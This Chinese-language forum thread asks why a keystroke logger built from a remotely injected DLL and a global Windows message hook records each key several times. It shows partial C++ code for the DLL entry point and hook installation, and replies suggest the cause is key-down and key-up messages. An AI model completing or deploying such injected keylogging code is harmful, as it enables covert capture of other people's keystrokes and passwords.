为什么远程注入DLL,后在DLL中开辟新线程并安全全局钩子记录字符怎么会重复记录?

Question

 钩子句柄也已经共享,为什么会被次调用?

Answer 1

BOOL APIENTRY DllMain( HANDLE hModule, 
                      DWORD  ul_reason_for_call, 
                      LPVOID lpReserved 
) 
{ 

switch(ul_reason_for_call) 
{ case DLL_PROCESS_ATTACH:    hMod=(HINSTANCE)hModule;
     ::CreateThread(NULL,NULL,ThreadNor,NULL,0,&ThreadID1);
break; 
case DLL_THREAD_ATTACH: break; 
case DLL_THREAD_DETACH: 
     UnhookWindowsHookEx(g_hHook);
   
break; 
case DLL_PROCESS_DETACH: 
     UnhookWindowsHookEx(g_hHook); 
     
break; } 
    return TRUE; } DWORD WINAPI ThreadNor(LPVOID lpParam)
{
      CTime tm = CTime::GetCurrentTime();
 
 g_hHook  = SetWindowsHookEx(WH_GETMESSAGE,HookProc,hMod,0);
  
SetLogPath("c:\\");
SecureZeroMemory(logBuf,SIZE_BUFFER);
wsprintf(logBuf,"\r\nPower ON:%d-%d-%d %d:%d \r\n",tm.GetYear(),\
tm.GetMonth(),tm.GetDay(), tm.GetHour(),tm.GetMinute());
SecureZeroMemory(str, SIZE_IMM_BUFFER);
SecureZeroMemory(str2, SIZE_IMM_BUFFER);
 
   if (g_hHook==NULL) 
        MessageBox(NULL,"This   hook   not   install!","warning",MB_OK); 
    else 
    {
       
        MSG msg;
        while(GetMessage(&msg, NULL, 0, 0))
        {
            TranslateMessage(&msg);
            DispatchMessage(&msg);
           
        }
      
     }
   
   return 0;
}

Answer 2

就是点击键盘某字母,会重复记录.如只点击一次 "J",但会连续记录三次 "JJJ";

Answer 3

把你打印的代码贴上来
另用Process Explorer确认每个进程里只有一份你的hook dll

Answer 4

按一字，有，按下，按上的消息，分几分hook的，应该是这个原因。、